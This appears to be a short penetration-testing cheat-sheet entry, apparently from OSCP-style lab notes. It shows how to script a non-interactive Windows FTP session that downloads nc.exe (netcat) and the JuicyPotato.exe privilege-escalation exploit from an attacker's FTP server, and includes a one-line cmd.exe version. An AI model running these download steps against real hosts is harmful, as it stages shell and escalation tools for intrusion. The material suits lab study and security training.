FTP
NOTE:
Use the binary transfer method to transfer binary files so they don't get corrupted during the file transfer process.
Create a text file with FTP commands
echo open <ftp server ip> 21> ftp.txt
echo USER offsec>> ftp.txt
echo lab>> ftp.txt
echo bin >> ftp.txt
echo GET nc.exe >> ftp.txt
echo bye >> ftp.txtRun FTP command from text file
ftp -v -n -s:ftp.txtRun FTP command in command prompt directly
cmd.exe /c "@echo open <ftp server ip> 21>ftp.txt&@echo USER offsec>>ftp.txt&@echo PASS offsec>>ftp.txt&@echo binary>>ftp.txt&@echo GET /JuicyPotato.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"Last updated